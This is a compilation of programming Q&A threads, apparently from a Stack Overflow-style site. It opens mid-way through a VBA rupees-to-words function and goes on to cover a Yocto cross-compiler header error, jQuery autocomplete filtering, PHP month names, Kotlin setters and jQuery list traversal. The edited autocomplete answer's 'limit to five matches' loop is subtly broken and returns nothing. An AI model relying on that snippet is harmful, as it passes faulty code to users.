         ' Convert MyNumber to a string, trimming extra spaces.
         MyNumber = Trim(Str(MyNumber))

         ' Find decimal place.
         DecimalPlace = InStr(MyNumber, ".")

         ' If we find decimal place...
         If DecimalPlace > 0 Then
            ' Convert Paise
            Temp = Left(Mid(MyNumber, DecimalPlace + 1) & "00", 2)
            ' Hi! Note the above line Mid function it gives right portion
            ' after the decimal point
            'if only . and no numbers such as 789. accures, mid returns nothing
            ' to avoid error we added 00
            ' Left function gives only left portion of the string with specified places here 2

            Paise = ConvertTens(Temp)

            ' Strip off paise from remainder to convert.
            MyNumber = Trim(Left(MyNumber, DecimalPlace - 1))
         End If

         Count = 1
        If MyNumber <> "" Then

            ' Convert last 3 digits of MyNumber to Indian Rupees.
            Temp = ConvertHundreds(Right(MyNumber, 3))

            If Temp <> "" Then Rupees = Temp & Place(Count) & Rupees

            If Len(MyNumber) > 3 Then
               ' Remove last 3 converted digits from MyNumber.
               MyNumber = Left(MyNumber, Len(MyNumber) - 3)
            Else
               MyNumber = ""
            End If
        End If

            ' convert last two digits to of mynumber
            Count = 2

            Do While MyNumber <> ""
            Temp = ConvertTens(Right("0" & MyNumber, 2))

            If Temp <> "" Then Rupees = Temp & Place(Count) & Rupees
            If Len(MyNumber) > 2 Then
               ' Remove last 2 converted digits from MyNumber.
               MyNumber = Left(MyNumber, Len(MyNumber) - 2)

            Else
               MyNumber = ""
            End If
            Count = Count + 1

            Loop

         ' Clean up rupees.
         Select Case Rupees
            Case ""
               Rupees = ""
            Case "One"
               Rupees = "One Rupee"
            Case Else
               Rupees = Rupees & " Rupees"
         End Select

         ' Clean up paise.
         Select Case Paise
            Case ""
               Paise = ""
            Case "One"
               Paise = "One Paise"
            Case Else
               Paise = Paise & " Paise"
         End Select

         If Rupees = "" Then
         ConvertCurrencyToEnglish = Paise
         ElseIf Paise = "" Then
         ConvertCurrencyToEnglish = Rupees
         Else
         ConvertCurrencyToEnglish = Rupees & " and " & Paise
         End If

End Function

Private Function ConvertDigit(ByVal MyDigit)
        Select Case Val(MyDigit)
            Case 1: ConvertDigit = "One"
            Case 2: ConvertDigit = "Two"
            Case 3: ConvertDigit = "Three"
            Case 4: ConvertDigit = "Four"
            Case 5: ConvertDigit = "Five"
            Case 6: ConvertDigit = "Six"
            Case 7: ConvertDigit = "Seven"
            Case 8: ConvertDigit = "Eight"
            Case 9: ConvertDigit = "Nine"
            Case Else: ConvertDigit = ""
         End Select
End Function

Private Function ConvertHundreds(ByVal MyNumber)
    Dim Result As String

         ' Exit if there is nothing to convert.
         If Val(MyNumber) = 0 Then Exit Function

         ' Append leading zeros to number.
         MyNumber = Right("000" & MyNumber, 3)

         ' Do we have a hundreds place digit to convert?
         If Left(MyNumber, 1) <> "0" Then
            Result = ConvertDigit(Left(MyNumber, 1)) & " Hundred "
         End If

         ' Do we have a tens place digit to convert?
         If Mid(MyNumber, 2, 1) <> "0" Then
            Result = Result & ConvertTens(Mid(MyNumber, 2))
         Else
            ' If not, then convert the ones place digit.
            Result = Result & ConvertDigit(Mid(MyNumber, 3))
         End If

         ConvertHundreds = Trim(Result)
End Function

Private Function ConvertTens(ByVal MyTens)
          Dim Result As String

         ' Is value between 10 and 19?
         If Val(Left(MyTens, 1)) = 1 Then
            Select Case Val(MyTens)
               Case 10: Result = "Ten"
               Case 11: Result = "Eleven"
               Case 12: Result = "Twelve"
               Case 13: Result = "Thirteen"
               Case 14: Result = "Fourteen"
               Case 15: Result = "Fifteen"
               Case 16: Result = "Sixteen"
               Case 17: Result = "Seventeen"
               Case 18: Result = "Eighteen"
               Case 19: Result = "Nineteen"
               Case Else
            End Select
         Else
            ' .. otherwise it's between 20 and 99.
            Select Case Val(Left(MyTens, 1))
               Case 2: Result = "Twenty "
               Case 3: Result = "Thirty "
               Case 4: Result = "Forty "
               Case 5: Result = "Fifty "
               Case 6: Result = "Sixty "
               Case 7: Result = "Seventy "
               Case 8: Result = "Eighty "
               Case 9: Result = "Ninety "
               Case Else
            End Select

            ' Convert ones place digit.
            Result = Result & ConvertDigit(Right(MyTens, 1))
         End If

         ConvertTens = Result
End Function

but repeatedly im getting a #Name? error

Pls help me out of this


问:
error while make the Makefile on cross compiler on Ubuntu 14.04
i'm using qt5.5 on my computer.
And i got the issue while i make my Makefile.

I will got Makefile by sending this code.

```<code>qmake -spec ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/lib/qt5/mkspecs/devices/linux-imx6-g++/ -o Makefile test.pro
</code>```

It has no problem with that but when send "make " to build my program, it will show this error to me.

```<code>arm-poky-linux-gnueabi-g++ -c -pipe -march=armv7-a -mfpu=neon -DLINUX=1 -DEGL_API_FB=1 -mfloat-abi=softfp -O2 -Wall -W -D_REENTRANT -fPIC -DQT_NO_DEBUG -DQT_WIDGETS_LIB -DQT_GUI_LIB -DQT_CORE_LIB -I. -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5 -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtGui -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtCore -I. -I. -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/lib/qt5/mkspecs/devices/linux-imx6-g++ -o main.o main.cpp
In file included from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtGui/qwindowdefs.h:37:0,
             from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets/qwidget.h:37,
             from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets/qmainwindow.h:37,
             from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets/QMainWindow:1,
             from mainwindow.h:4,
             from main.cpp:1:
../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtCore/qglobal.h:39:21: fatal error: cstddef: No such file or directory
compilation terminated.
make: *** [main.o] Error 1
</code>```

And in the other method, i could do this command to get the Makefile too.

```<code>qmake test.pro
</code>```

In this case when i make my Makefile it doing fine.

But if i using -spec to direct to the qmake.config that i want then will get the error like above.

I don't know why will this happened.

I'm using the meta-toolchain-qt5 for my cross compiler.

Did i miss anything or it is the reason that gcc version is too old?

Please Help !

答: You should never call arm-poky-linux-gnueabi-g++ directly when using a cross-compiler built by OpenEmbedded. Instead, you should call $CXX. The reason is that the built-in sysroot in the cross-compiler is poisoned (it points to a non-existing path). See for instance the explanation in gcc reports sysroot is /not/exist. This change was introduced in Yocto Project release 1.8, see Default Sysroot Poisoning.

Body:
i'm using qt5.5 on my computer.
And i got the issue while i make my Makefile.

I will got Makefile by sending this code.

qmake -spec ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/lib/qt5/mkspecs/devices/linux-imx6-g++/ -o Makefile test.pro

It has no problem with that but when send "make " to build my program, it will show this error to me.

arm-poky-linux-gnueabi-g++ -c -pipe -march=armv7-a -mfpu=neon -DLINUX=1 -DEGL_API_FB=1 -mfloat-abi=softfp -O2 -Wall -W -D_REENTRANT -fPIC -DQT_NO_DEBUG -DQT_WIDGETS_LIB -DQT_GUI_LIB -DQT_CORE_LIB -I. -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5 -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtGui -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtCore -I. -I. -I../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/lib/qt5/mkspecs/devices/linux-imx6-g++ -o main.o main.cpp
In file included from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtGui/qwindowdefs.h:37:0,
             from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets/qwidget.h:37,
             from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets/qmainwindow.h:37,
             from ../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtWidgets/QMainWindow:1,
             from mainwindow.h:4,
             from main.cpp:1:
../../sysroots/cortexa9hf-vfp-neon-poky-linux-gnueabi/usr/include/qt5/QtCore/qglobal.h:39:21: fatal error: cstddef: No such file or directory
compilation terminated.
make: *** [main.o] Error 1

And in the other method, i could do this command to get the Makefile too.

qmake test.pro

In this case when i make my Makefile it doing fine.

But if i using -spec to direct to the qmake.config that i want then will get the error like above.

I don't know why will this happened.

I'm using the meta-toolchain-qt5 for my cross compiler.

Did i miss anything or it is the reason that gcc version is too old?

Please Help !


问:
Autocomplete show all results
Collect data from page format.json.

In JS I have:

```<code>$('input[name="q"]').autoComplete({
    source: function(term, response){
        $.getJSON('/search.json', { q: term }, function(data){ response(data); });
    }
});
</code>```

For autocomplete I use this plugin.

What is responsible for the output?

I have in the autocomplete drop all the names. To fall out only need to apply. it is necessary to drop only those which coincide.

Is responsible for it .indexOf(term)? what to use?

The screen shows all the results (which have match and those who do not have a match). Need to see only those that have a match.

答:
Being you're getting the data from a JSON file you'll have to do the filtering on the client side. The way that it would work with an actual AJAX request to a server, you'd do the filtering on the server to only return the data you need (that's why you send the query term as a parameter).

So you will need to change your code to  look like this:

```<code>$('input[name="q"]').autoComplete({
    source: function (term, response) {
        $.getJSON('/search.json', function (data) {
            term = term.toLowerCase();
            var matches = [];
            for (i = 0; i < data.length; i++)
                if (~data[i].toLowerCase().indexOf(term)) matches.push(data[i]);
            response(matches);
        });
    }
});
</code>```

You may need to do something different depending on what your data structure looks like but I'm assuming it's an array of strings

EDIT

If you want to limit your matches you can do it in the for loop rather than in the last line, this will be better for performance as it won't have to loop around once you've got 5 matches

```<code>$('input[name="q"]').autoComplete({
    source: function (term, response) {
        $.getJSON('/search.json', function (data) {
            term = term.toLowerCase();
            var matches = [];
            for (i = 0; i < data.length; i++)
                if (~data[i].toLowerCase().indexOf(term) && matches.length == 4) {
                    matches.push(data[i]);
                    break;
                }
            response(matches);
        });
    }
});
</code>```

Title: Autocomplete show all results

Body:
Collect data from page format.json.

In JS I have:

$('input[name="q"]').autoComplete({
    source: function(term, response){
        $.getJSON('/search.json', { q: term }, function(data){ response(data); });
    }
});

For autocomplete I use this plugin.

What is responsible for the output?

I have in the autocomplete drop all the names. To fall out only need to apply. it is necessary to drop only those which coincide.

Is responsible for it .indexOf(term)? what to use?

The screen shows all the results (which have match and those who do not have a match). Need to see only those that have a match.

Body:
Being you're getting the data from a JSON file you'll have to do the filtering on the client side. The way that it would work with an actual AJAX request to a server, you'd do the filtering on the server to only return the data you need (that's why you send the query term as a parameter).

So you will need to change your code to  look like this:

$('input[name="q"]').autoComplete({
    source: function (term, response) {
        $.getJSON('/search.json', function (data) {
            term = term.toLowerCase();
            var matches = [];
            for (i = 0; i < data.length; i++)
                if (~data[i].toLowerCase().indexOf(term)) matches.push(data[i]);
            response(matches);
        });
    }
});

You may need to do something different depending on what your data structure looks like but I'm assuming it's an array of strings

EDIT

If you want to limit your matches you can do it in the for loop rather than in the last line, this will be better for performance as it won't have to loop around once you've got 5 matches

$('input[name="q"]').autoComplete({
    source: function (term, response) {
        $.getJSON('/search.json', function (data) {
            term = term.toLowerCase();
            var matches = [];
            for (i = 0; i < data.length; i++)
                if (~data[i].toLowerCase().indexOf(term) && matches.length == 4) {
                    matches.push(data[i]);
                    break;
                }
            response(matches);
        });
    }
});


问:
Can I use an if statement with multiple conditions? PHP
I bet I can, but would it work like this?

```<code>function dutchDateNames($) {
        $day = explode('-', $date)[2];
        $dutchday = ($day < 10) ? substr($day, 1) : $day;

        $month = explode('-', $date)[1];
        if ($month == '01' . '02') {
            $dutchmonth = 'Januari' . 'Februari';
        }

        $dutchdate = $dutchday . ' ' . $dutchmonth . ' ' . explode('-', $date)[0];
        return $dutchdate
    }
</code>```

So, if $month is 01, $dutchmonth should be Januari. If $month is 02, $dutchmonth should be Februari, and so on.
I have the feeling I'm not doing this right?

答:
I think the proper way is to save the map a array. Demo

```<code><?php
$array['01'] = 'Januari';
$array['02'] = 'Februari';
print_r($array);

echo $array[$month];
</code>```

Body:
I bet I can, but would it work like this?

function dutchDateNames($) {
        $day = explode('-', $date)[2];
        $dutchday = ($day < 10) ? substr($day, 1) : $day;

        $month = explode('-', $date)[1];
        if ($month == '01' . '02') {
            $dutchmonth = 'Januari' . 'Februari';
        }

        $dutchdate = $dutchday . ' ' . $dutchmonth . ' ' . explode('-', $date)[0];
        return $dutchdate
    }

So, if $month is 01, $dutchmonth should be Januari. If $month is 02, $dutchmonth should be Februari, and so on.
I have the feeling I'm not doing this right?

Body:
I think the proper way is to save the map a array. Demo

<?php
$array['01'] = 'Januari';
$array['02'] = 'Februari';
print_r($array);

echo $array[$month];


问:
Setter overloading in Kotlin
When trying to define a setter that accepts a parameter type that can be used to construct a property, thusly:

```<code>class Buffer(buf: String) {}

class Foo {
    var buffer: Buffer? = null
        set(value: String) {
            field = Buffer(value)
        }
}
</code>```

I get the error message:

Setter parameter type must be equal to the type of the property

So what's meant to be the Kotlin way of doing this?

答:
As of Kotlin 1.1 it is not possible to overload property setters. The feature request is tracked here:

https://youtrack.jetbrains.com/issue/KT-4075

Currently, you would have to define a buffer extension function on String:

```<code>val String.buffer : Buffer
    get() = Buffer(this)
</code>```

and set the value with

```<code>Foo().buffer = "123".buffer
</code>```

Title: Setter overloading in Kotlin

Body:
When trying to define a setter that accepts a parameter type that can be used to construct a property, thusly:

class Buffer(buf: String) {}

class Foo {
    var buffer: Buffer? = null
        set(value: String) {
            field = Buffer(value)
        }
}

I get the error message:

Setter parameter type must be equal to the type of the property

So what's meant to be the Kotlin way of doing this?

Body:
As of Kotlin 1.1 it is not possible to overload property setters. The feature request is tracked here:

https://youtrack.jetbrains.com/issue/KT-4075

Currently, you would have to define a buffer extension function on String:

val String.buffer : Buffer
    get() = Buffer(this)

and set the value with

Foo().buffer = "123".buffer


问:
How to get previous LI in multi-level UL/LI elements
I have following html code:

```<code><ul>
  <li>Parameter1</li>
  <li>Group1
    <ul>
      <li>Parameter2</li>
      <li>Parameter3</li>
    </ul>
  </li>
  <li>Parameter4</li>
  <li>Group2
    <ul>
      <li>Parameter5</li>
    </ul>
  </li>
</ul>
</code>```

And when I trigger onClick method on any of the LI elements, I need to get closest previous LI element.

If I click Parameter4 I need Parameter3 element.
If I click Parameter5 I need Group2 element.

I know the basics of prev(), closest(), find(), but I am not able to make it work.

element.prev('li') ignores nested LIs in UL

I think I am able to write the logic in words: I need previous LI element element.prev('li') and if this element has UL inside, I want last LI in that. If it has no UL, return the prev('li') that we started with.

Thank you.

答:
I have come with this solution. Took the liberty to use jQuery myself. And there is some duplicated code here, but it's just the idea. </p>

```<code>$('li').click(function(e) {
    e.stopPropagation();
    if($(this).prev('li').length == 0) {
        if($(this).parent().parent().prev('li').has('ul').length) {
            console.log($(this).parent().parent().prev('li').children('ul').find('li:last').text());
        } else {
            console.log($(this).parent().parent().prev('li').text());
        }
    } else {
         if($(this).prev('li').has('ul').length) {
            console.log($(this).prev('li').children('ul').find('li:last').text());
         } else {
            console.log($(this).prev('li').text());
         }
    }
});
</code>```

Body:
I have following html code:

Parameter1

Group1

Parameter2

Parameter3

Parameter4

Group2

Parameter5

And when I trigger onClick method on any of the LI elements, I need to get closest previous LI element.

If I click Parameter4 I need Parameter3 element.
If I click Parameter5 I need Group2 element.

I know the basics of prev(), closest(), find(), but I am not able to make it work.

element.prev('li') ignores nested LIs in UL

I think I am able to write the logic in words: I need previous LI element element.prev('li') and if this element has UL inside, I want last LI in that. If it has no UL, return the prev('li') that we started with.

Thank you.

Body:
I have come with this solution. Took the liberty to use jQuery myself. And there is some duplicated code here, but it's just the idea.

$('li').click(function(e) {
    e.stopPropagation();
    if($(this).prev('li').length == 0) {
        if($(this).parent().parent().prev('li').has('ul').length) {
            console.log($(this).parent().parent().prev('li').children('ul').find('li:last').text());
        } else {
            console.log($(this).parent().parent().prev('li').text());
        }
    } else {
         if($(this).prev('li').has('ul').length) {
            console.log($(this).prev('li').children('ul').find('li:last').text());
         } else {
            console.log($(this).prev('li').text());
         }
    }
});